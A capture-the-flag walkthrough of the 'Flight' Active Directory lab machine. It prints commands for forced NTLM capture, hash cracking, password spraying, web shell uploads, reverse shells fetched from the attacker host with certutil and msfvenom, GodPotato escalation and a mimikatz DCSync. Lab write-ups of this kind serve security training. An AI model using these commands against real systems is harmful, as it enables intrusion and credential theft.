Overview

Flight is a hard Active Directory machine that demonstrates how a vulnerable virtual host can be abused to capture NTLMv2 hashes, leading to password reuse, SMB share abuse, internal IIS access, and eventual privilege escalation through SeImpersonatePrivilege.

Attack Chain

  • Enumerate exposed Active Directory services and identify the domain flight.htb
  • Discover the school.flight.htb virtual host with ffuf
  • Abuse the view parameter to trigger outbound SMB authentication
  • Capture and crack the svc_apache NTLMv2 hash
  • Password spray the recovered password and identify reuse by S.Moon
  • Abuse write access to the Shared SMB share with ntlm_theft
  • Capture and crack the c.bum NTLMv2 hash
  • Upload a PHP web shell to the writable Web share
  • Gain a shell as svc_apache
  • Use RunasCs with c.bum credentials for lateral movement
  • Pivot to the internal IIS site over ligolo
  • Upload an ASPX reverse shell and gain access as iis apppool
  • Abuse SeImpersonatePrivilege with GodPotato
  • Gain NT AUTHORITY\SYSTEM and perform DCSync

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan to identify the exposed services.

export IP=10.129.228.120; export NAME=FLIGHT; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -Pn -n -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -Pn --disable-arp-ping -sC -sV -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,59260

nmap results

Findings

The scan results show a typical Active Directory attack surface. DNS (53), Kerberos (88), RPC (135), SMB (139, 445), LDAP (389, 636), and the Global Catalog ports 3268 and 3269 are exposed. The domain is identified as flight.htb, so it is added to /etc/hosts for name resolution.

echo "$IP flight.htb" | sudo tee -a /etc/hosts

Web Enumeration

Main Website

Browsing to the web server on port 80 shows a basic flight booking page.

main website

Since the scan revealed the domain flight.htb, the next step is to fuzz for virtual hosts.

ffuf -u http://flight.htb -c -ic -H "HOST: FUZZ.flight.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fs 7069,300-600

The scan identifies one additional virtual host: school.flight.htb.

ffuf vhost

echo "$IP school.flight.htb" | sudo tee -a /etc/hosts

school.flight.htb

The school.flight.htb site appears to be a blog.

school website

When browsing between pages, the application uses a view parameter to load content.

http://school.flight.htb/index.php?view=home.html

Because this is a PHP page loading files through a parameter, it is worth testing whether it can request external resources.

Start a Python web server and request a file from the attacking machine through the view parameter:

http://school.flight.htb/index.php?view=http://10.10.14.89/test

rfi test

The request reaches the Python web server, confirming that the application can make outbound requests.

python server hit

Attempts to use PHP web shells and reverse shells did not work, so the next idea is to force the server to authenticate to an SMB share and capture a hash.


Foothold

NTLM Capture via File Inclusion

First, an SMB server can be started manually:

python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/mrbeetroot/Shares

Alternatively, Responder can be used to listen for authentication attempts:

sudo responder -I tun0 -A

The first attempt uses backslashes in the UNC path:

http://school.flight.htb/index.php?view=\\10.10.14.89\share\test

The application blocks this request and returns a suspicious activity warning.

suspicious activity

Replacing the backslashes with forward slashes bypasses this filtering and triggers an outbound authentication attempt.

http://school.flight.htb/index.php?view=//10.10.14.89/share/test

This captures a hash for svc_apache.

svc apache hash

Responder confirms the captured NTLMv2 authentication attempt.

responder svc apache

The hash is saved to a file for cracking.

saved svc apache hash

Cracking svc_apache

The hash can be cracked with john:

john --wordlist=/usr/share/wordlists/rockyou.txt creds/svc_apache_NTLMv2.hash

john svc apache

It can also be cracked with hashcat using mode 5600 for NetNTLMv2.

hashcat -m 5600 creds/svc_apache_NTLMv2.hash /usr/share/wordlists/rockyou.txt

hashcat svc apache

The recovered credentials are:

svc_apache:S@Ss!K@*t13

SMB Enumeration as svc_apache

Using the recovered credentials, SMB shares are enumerated with netexec.

nxc smb $IP -u 'svc_apache' -p 'S@Ss!K@*t13' --shares

The account has read access to Shared, Users, and Web, but initial enumeration does not reveal anything useful.

svc apache shares

Although svc_apache does not provide an interactive shell, it can enumerate domain users.

nxc smb $IP -u 'svc_apache' -p 'S@Ss!K@*t13' --users

This returns a list of users on the target.

domain users

The users are saved to a file for password spraying.

saved users

Password Reuse

With a valid password and a user list, we perform a password spray.

nxc smb $IP -u creds/users_potential.txt -p 'S@Ss!K@*t13' --continue-on-success

The spray reveals that S.Moon is using the same password.

password spray s moon

The new credentials are:

S.Moon:S@Ss!K@*t13

Reviewing the earlier user enumeration shows that S.Moon is a junior web developer, making web or share access worth investigating further.

s moon user info

The account still does not provide an interactive shell, so SMB access is checked again.

nxc smb $IP -u 's.moon' -p 'S@Ss!K@*t13' --shares

This time, S.Moon has write access to the Shared share.

s moon shares

Capturing c.bum with ntlm_theft

Write access to a shared folder suggests that other users may interact with files placed there. To abuse this, ntlm_theft is used to generate files that trigger authentication back to the attacker machine.

https://github.com/Greenwolf/ntlm_theft

python3 ~/Tools/ntlm_theft/ntlm_theft.py -g all -s 10.10.14.89 -f ReviewDoc

ntlm theft files

Start Responder again:

sudo responder -I tun0 -A

Then connect to the Shared share as S.Moon.

smbclient //$IP/Shared -U s.moon
put desktop.ini

The .lnk file fails with access denied, but desktop.ini uploads successfully.

desktop ini upload

After waiting, Responder captures an NTLMv2 hash for c.bum.

c bum hash

The hash is saved locally.

saved c bum hash

Crack the hash with john:

john --wordlist=/usr/share/wordlists/rockyou.txt c_bum_NTLMv2.hash

john c bum

The recovered credentials are:

c.bum:Tikkycoll_431012284

Web Share Access

The c.bum account still does not allow an interactive shell, but SMB shares are checked again.

nxc smb $IP -u 'c.bum' -p 'Tikkycoll_431012284' --shares

This account has write access to the Web share.

c bum shares

Connect to the Web share as c.bum:

smbclient //$IP/Web -U c.bum

Since school.flight.htb runs PHP, a wwwolf-php-webshell is uploaded into the web directory.

php webshell upload

A cleanup script appears to remove or block the original webshell.php, so the same shell is uploaded under a different name and used quickly.

webshell renamed

A rcat reverse shell is transferred through the web shell.

certutil.exe -urlcache -f http://10.10.14.89/rcat.exe c:/windows/tasks/rcat_10.10.14.89_443.exe

transfer rcat

After starting a listener, the reverse shell payload is executed.

execute rcat

This gives a shell as svc_apache.

svc apache shell


Lateral Movement

Shell as c.bum

Because we already have the c.bum password, RunasCs can be used to spawn a shell as that user.

Transfer the rcat reverse shell payload:

iwr -uri http://10.10.14.89/rcat.exe -o ./rcat_10.10.14.89_445.exe

Transfer RunasCs.exe:

iwr -uri http://10.10.14.89/RunasCs.exe -o ./RunasCs.exe

Both files transfer successfully.

runascs transfer

The required files are now in C:\Users\Public.

public files

Start a listener on port 445, then execute rcat with RunasCs as c.bum.

.\RunasCs.exe c.bum Tikkycoll_431012284 "cmd /c c:\users\public\rcat_10.10.14.89_445.exe"

This returns a shell as c.bum.

c bum shell

The user flag can now be read.

type C:\Users\c.bum\Desktop\user.txt

user flag


Privilege Escalation

Internal Service Enumeration

From the c.bum shell, local TCP ports are reviewed.

netstat -ano -p tcp

Port 8000 is listening locally, but it is not reachable directly from the attacking machine.

netstat port 8000

The root of C:\ also contains inetpub, suggesting there is an IIS site in addition to the externally visible xampp web server.

Ligolo Localhost Pivot

To access the internal web service, a ligolo tunnel is created.

sudo ip tuntap add user mrbeetroot mode tun ligolo
sudo ip link set ligolo up

Add a route for localhost access through the tunnel.

sudo ip route add 240.0.0.1/32 dev ligolo

ligolo route

Start the proxy on the attacking machine:

./proxy -selfcert

Connect back from the target:

.\agent.exe -connect 10.10.14.89:11601 -ignore-cert

ligolo agent

Back on the attacking machine, select the session and start the tunnel.

ligolo session

Browsing to http://240.0.0.1:8000 reveals a different internal version of the Flight website.

internal website

IIS Write Permissions

A second c.bum shell is established using RunasCs and rcat. The goal is to determine whether the internal IIS web root is writable.

Recursively review permissions under inetpub:

icacls c:\inetpub\ /t /c > cbum_perms.txt

icacls inetpub

Filter the output for c.bum:

Select-String -path cbum_perms.txt -pattern "c.bum"

The output shows that c.bum has write permissions in c:\inetpub\development.

cbum inetpub perms

Confirm the folder permissions directly:

icacls c:\inetpub\development

development permissions

To validate the path, create a test file in c:\inetpub\development.

create test file

Browsing to the internal site confirms that the file is served successfully.

http://240.0.0.1/test.txt

test file browser

ASPX Web Shell

Because the internal site is hosted on IIS, an ASPX web shell is uploaded.

aspx webshell upload

The web shell works through the browser over the ligolo tunnel.

aspx webshell working

IIS application pool accounts commonly have SeImpersonatePrivilege, so privileges are checked.

iis privileges check

The uploaded cmdasp.aspx file is removed after a few minutes, so an ASPX reverse shell is generated with msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.89 LPORT=443 -f aspx -o rev443.aspx

Transfer the payload to the target.

transfer aspx reverse shell

Execute the payload through the browser.

execute aspx reverse shell

A shell is caught on port 443 as the IIS application pool account.

iis apppool shell

Confirm that SeImpersonatePrivilege is enabled.

seimpersonate enabled

The system information shows the host is running Windows Server 2019.

systeminfo

GodPotato to SYSTEM

Since the host is Windows Server 2019 and SeImpersonatePrivilege is enabled, GodPotato is a suitable escalation path.

Transfer GodPotato:

powershell -c iwr -uri http://10.10.14.89/GodPotato-NET4.exe -o ./GodPotato.exe

transfer godpotato

Test command execution as NT AUTHORITY\SYSTEM:

.\GodPotato.exe -cmd "cmd /c whoami"

The command executes as nt authority\system.

godpotato whoami

Start a listener and use GodPotato to execute the existing rcat payload.

.\GodPotato.exe -cmd "c:\users\public\rcat_10.10.14.89_443.exe"

godpotato rcat

This returns a shell as NT AUTHORITY\SYSTEM.

system shell

The root flag can now be read.

type C:\Users\Administrator\Desktop\root.txt

root flag

DCSync

With SYSTEM access on the domain controller, a DCSync attack can be performed with mimikatz to retrieve the Administrator hash.

.\mimikatz.exe "privilege::debug" "token::elevate" "lsadump::dcsync /domain:flight.htb /user:Administrator" "exit"

The Administrator hash is recovered.

dcsync hash

Testing the hash with netexec confirms full domain control.

nxc smb $IP -u 'Administrator' -H '43bbfc530bab76141b12c8446e30c17c'

administrator hash validate


Alternative Privilege Escalation

Machine Account Authentication

There is another path from the IIS application pool context.

iis apppool identity

The account appears as iis apppool\defaultapppool without the flight.htb domain prefix. This indicates it is a local virtual account rather than a domain user.

To test how it authenticates over the network, request a share on the attacking machine:

\\10.10.14.89\share\test

request smb share

On the attacking machine, the captured authentication appears without a username and uses the hostname, confirming that it authenticates as the machine account.

machine account hash

Delegation TGT with Rubeus

Rubeus is transferred to the target and used to request a delegation TGT.

.\Rubeus.exe tgtdeleg /nowrap

rubeus tgtdeleg

The base64 ticket output is saved to a file on the attacking machine and decoded into a .kirbi file.

cat ticket.kirbi.b64 | base64 -d > ticket.kirbi

decode kirbi

Alternatively, RubeusToCcache can convert the base64 output directly into both .kirbi and .ccache formats.

python3 ~/Tools/RubeusToCcache/rubeustoccache.py "base64_string" ticket.kirbi ticket.ccache

rubeus to ccache

Export the Kerberos cache:

export KRB5CCNAME=ticket.ccache

Because Kerberos is time-sensitive, sync the attacking machine clock with the target.

sudo ntpdate -d flight.htb
sudo ntpdate -s flight.htb

Then run secretsdump using Kerberos authentication.

impacket-secretsdump -k -no-pass g0.flight.htb

Key Takeaways

Flight shows how a small web issue can become a full Active Directory compromise when combined with forced SMB authentication and password reuse. The path is not a single direct exploit, but a chain of careful enumeration: capturing hashes, identifying writable shares, abusing user interaction, pivoting to an internal IIS site, and finally using SeImpersonatePrivilege to reach SYSTEM. It also highlights why outbound SMB authentication and overly permissive shares can be dangerous in Windows environments.